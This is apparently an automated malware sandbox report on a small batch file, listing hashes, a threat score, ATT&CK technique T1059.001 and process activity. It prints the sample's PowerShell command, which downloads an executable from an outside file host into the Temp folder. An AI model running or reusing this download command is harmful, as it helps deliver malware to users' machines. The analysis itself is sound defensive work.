269a98ecf1766f39c6ed52aedda0f97276a8b1ec0e5e824d30fd40c3a67a8897

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
10-07-2024 18:51

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General

Target

bat.bat
Size

306B
MD5

b356ccb6be21d42492bb19158842f90c
SHA1

e79f4a517f48a992dedb66df06bb57606d86588e
SHA256

269a98ecf1766f39c6ed52aedda0f97276a8b1ec0e5e824d30fd40c3a67a8897
SHA512

52422b3fbe34dec6f54366388d20964812bb038f900fc00f80875b1f1d0427470d23bd7a62c7ae068f1cbb795877f0ce32dd00dc868a258a16a3a92b5610b002

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2380	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid	Process
2380	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	2380	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	Process	procid_target
PID 1812 wrote to memory of 2380	1812	cmd.exe	31
PID 1812 wrote to memory of 2380	1812	cmd.exe	31
PID 1812 wrote to memory of 2380	1812	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\bat.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://f004.backblazeb2.com/b2api/v1/b2_download_file_by_id?fileId=4_z91af74acda9d97d09c090616_f1112212a7aa57525_d20240710_m181411_c004_v0402023_t0026_u01720635251213' -OutFile 'C:\Users\Admin\AppData\Local\Temp\lb.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2380-4-0x000007FEF5D7E000-0x000007FEF5D7F000-memory.dmp

Filesize
4KB

Download
memory/2380-5-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/2380-6-0x0000000002760000-0x0000000002768000-memory.dmp

Filesize
32KB

Download
memory/2380-7-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-8-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-11-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-10-0x0000000002D1B000-0x0000000002D82000-memory.dmp

Filesize
412KB

Download
memory/2380-9-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-12-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download